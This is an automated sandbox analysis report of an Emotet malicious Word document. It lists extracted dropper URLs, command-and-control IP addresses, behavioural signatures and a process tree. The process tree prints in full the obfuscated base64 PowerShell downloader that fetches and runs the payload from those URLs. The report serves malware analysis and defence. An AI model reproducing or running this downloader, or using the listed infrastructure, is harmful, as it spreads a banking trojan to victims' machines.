Analysis

  • max time kernel
    139s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    15/09/2020, 09:27

General

  • Target
    emotet_e1_902e5816768b247deeb5d20ecffa933fbc7c1bdca49516c283b9ab39a0ba4041_2020-09-15__092509._doc.doc
  • Size 156KB
  • Sample200915-sr46336a9s
  • SHA256 902e5816768b247deeb5d20ecffa933fbc7c1bdca49516c283b9ab39a0ba4041
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://qstride.com/img/1W/

  • exe.dropper

    http://syracusecoffee.com/customer/i/

  • exe.dropper

    http://shahrakyar.com/cms/3e/

  • exe.dropper

    http://vuatritue.com/wp-admin/FkX/

  • exe.dropper

    http://glafka.com/wp-content/2L7/

  • exe.dropper

    http://rovrooftiles.com/wp-includes/nDP/

  • exe.dropper

    http://paulospainting.com/wp-includes/7k/

Extracted

Family
  • emotet

C2
  • 82.230.1.24:80

  • 51.38.124.206:80

  • 82.196.15.205:8080

  • 38.88.126.202:8080

  • 61.197.92.216:80

  • 217.199.160.224:7080

  • 61.92.159.208:8080

  • 186.103.141.250:443

  • 104.131.41.185:8080

  • 170.81.48.2:80

  • 50.121.220.50:80

  • 190.195.129.227:8090

  • 187.162.248.237:80

  • 172.104.169.32:8080

  • 199.203.62.165:80

  • 45.161.242.102:80

  • 45.46.37.97:80

  • 96.227.52.8:443

  • 65.36.62.20:80

  • 220.109.145.69:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_902e5816768b247deeb5d20ecffa933fbc7c1bdca49516c283b9ab39a0ba4041_2020-09-15__092509._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3712
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABJAGEAOQBpAGEANQA2AD0AKAAnAEYAJwArACcANwAnACsAKAAnAGIAcgBtACcAKwAnAGQANwAnACkAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAHIATwBGAEkAbABFAFwARABnAGcATQBPADkAMQBcAFAAZABOAG8AVQBPAGMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAcgBJAGAAVAB5AFAAYABSAGAATwB0AG8AQwBvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAnACsAJwAxADIAJwArACcALAAgAHQAbAAnACkAKwAnAHMAJwArACcAMQAnACsAKAAnADEALAAnACsAJwAgACcAKQArACgAJwB0AGwAJwArACcAcwAnACkAKQA7ACQAUwByAGwAegBhAGsAYgAgAD0AIAAoACgAJwBMACcAKwAnAHUAdwAnACkAKwAoACcAZgBoACcAKwAnADMAXwAnACkAKwAnAHQAJwApADsAJABTAG0AaAA4AGwAbwBsAD0AKAAoACcASAAnACsAJwBuAF8AJwApACsAJwBuADUAJwArACcAbQBsACcAKQA7ACQATABvAG4AOABrAGsAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBDACcAKwAnAFYAVQAnACsAKAAnAEQAZwAnACsAJwBnACcAKQArACcAbQAnACsAKAAnAG8AOQAnACsAJwAxAEMAVgAnACsAJwBVAFAAZABuACcAKwAnAG8AdQAnACkAKwAoACcAbwAnACsAJwBjAEMAVgAnACkAKwAnAFUAJwApACAALQBSAGUAUABMAGEAQwBFACAAIAAoACcAQwBWACcAKwAnAFUAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAFMAcgBsAHoAYQBrAGIAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABWAGYAcwA3AGkAawBzAD0AKAAoACcAVwA5ACcAKwAnAF8AMwA5ACcAKQArACcANQAnACsAJwB1ACcAKQA7ACQASwBwAG4AbwB3AG4AMgA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAGwASQBFAG4AVAA7ACQAUAA3ADUAMgAwAHkAMwA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAvACcAKQArACgAJwAvACcAKwAnAHEAcwB0ACcAKwAnAHIAaQAnACsAJwBkAGUALgBjAG8AbQAnACsAJwAvAGkAbQAnACkAKwAnAGcALwAnACsAKAAnADEAJwArACcAVwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AcwB5ACcAKwAnAHIAJwArACcAYQBjAHUAcwBlAGMAbwBmAGYAZQBlACcAKwAnAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAYwB1AHMAJwArACcAdAAnACkAKwAoACcAbwBtACcAKwAnAGUAJwApACsAKAAnAHIAJwArACcALwBpACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8AJwApACsAJwAvAHMAJwArACgAJwBoAGEAaAAnACsAJwByACcAKQArACgAJwBhAGsAeQBhAHIALgAnACsAJwBjAG8AbQAvAGMAJwArACcAbQBzACcAKQArACcALwAzACcAKwAnAGUALwAnACsAJwAqAGgAJwArACgAJwB0AHQAcAA6ACcAKwAnAC8AJwApACsAJwAvAHYAJwArACcAdQBhACcAKwAoACcAdAByACcAKwAnAGkAJwApACsAJwB0ACcAKwAnAHUAZQAnACsAKAAnAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAAJwApACsAJwAtAGEAJwArACgAJwBkAG0AaQAnACsAJwBuAC8AJwApACsAKAAnAEYAJwArACcAawBYACcAKQArACgAJwAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8ALwBnACcAKQArACgAJwBsAGEAJwArACcAZgBrAGEAJwArACcALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACsAKAAnAHAAJwArACcALQBjACcAKwAnAG8AbgB0AGUAbgB0ACcAKwAnAC8AJwApACsAKAAnADIATAA3AC8AKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8ALwByACcAKwAnAG8AJwArACcAdgByACcAKQArACcAbwAnACsAKAAnAG8AZgB0AGkAbABlACcAKwAnAHMALgAnACsAJwBjAG8AbQAvACcAKwAnAHcAcAAnACkAKwAnAC0AJwArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAZQAnACsAJwBzAC8AJwArACcAbgBEAFAALwAqAGgAJwApACsAKAAnAHQAdABwADoAJwArACcALwAvAHAAJwApACsAKAAnAGEAdQAnACsAJwBsACcAKwAnAG8AcwBwAGEAaQBuAHQAJwApACsAJwBpAG4AJwArACgAJwBnAC4AYwBvACcAKwAnAG0AJwArACcALwAnACkAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGkAbgBjACcAKwAnAGwAJwApACsAKAAnAHUAZABlAHMALwA3ACcAKwAnAGsALwAnACkAKQAuACIAUwBwAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAHUAawBzAHkAcQA3AD0AKAAnAFMAYwAnACsAJwBiACcAKwAoACcAMQA4ACcAKwAnAGYAeAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFUAcwA4ADIAbABvAGQAIABpAG4AIAAkAFAANwA1ADIAMAB5ADMAKQB7AHQAcgB5AHsAJABLAHAAbgBvAHcAbgAyAC4AIgBEAGAATwB3AE4ATABgAE8AYQBkAEYASQBMAGUAIgAoACQAVQBzADgAMgBsAG8AZAAsACAAJABMAG8AbgA4AGsAawB6ACkAOwAkAEkANQBuAHgAcgB4AHAAPQAoACcAVgAnACsAKAAnAF8AYQAnACsAJwBuACcAKQArACgAJwBwACcAKwAnAHUAcgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABMAG8AbgA4AGsAawB6ACkALgAiAEwARQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMgA5ADYAMAAxACkAIAB7AC4AKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEwAbwBuADgAawBrAHoAKQA7ACQAWQA5AGoAYwA0AHkAbwA9ACgAJwBCAGcAJwArACgAJwBnAGkANAAnACsAJwBsACcAKQArACcAMQAnACkAOwBiAHIAZQBhAGsAOwAkAFUAcgBlAHEAOQB2ADQAPQAoACcAVwB4ACcAKwAoACcAeQBwACcAKwAnAHQAJwApACsAJwBiAGcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPADcAOQBpAG8AZgBzAD0AKAAnAFoAJwArACgAJwBvAHAAcgAnACsAJwBqACcAKQArACcAaABjACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3068
    • C:\Users\Admin\Dggmo91\Pdnouoc\Luwfh3_t.exe
      "C:\Users\Admin\Dggmo91\Pdnouoc\Luwfh3_t.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3968
      • C:\Windows\SysWOW64\AppLockerCSP\imageres.exe
        "C:\Windows\SysWOW64\AppLockerCSP\imageres.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2128

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2128-17-0x0000000000680000-0x0000000000692000-memory.dmp

        memory/2128-18-0x00000000006A0000-0x00000000006B0000-memory.dmp

        memory/3068-9-0x0000021FDB290000-0x0000021FDB291000-memory.dmp

        memory/3068-8-0x0000021FC2FF0000-0x0000021FC2FF1000-memory.dmp

        memory/3068-7-0x00007FF9A39A0000-0x00007FF9A438C000-memory.dmp

        memory/3712-0-0x00007FF9AB060000-0x00007FF9AB726000-memory.dmp

        memory/3968-13-0x00000000021F0000-0x0000000002202000-memory.dmp

        memory/3968-14-0x0000000002210000-0x0000000002220000-memory.dmp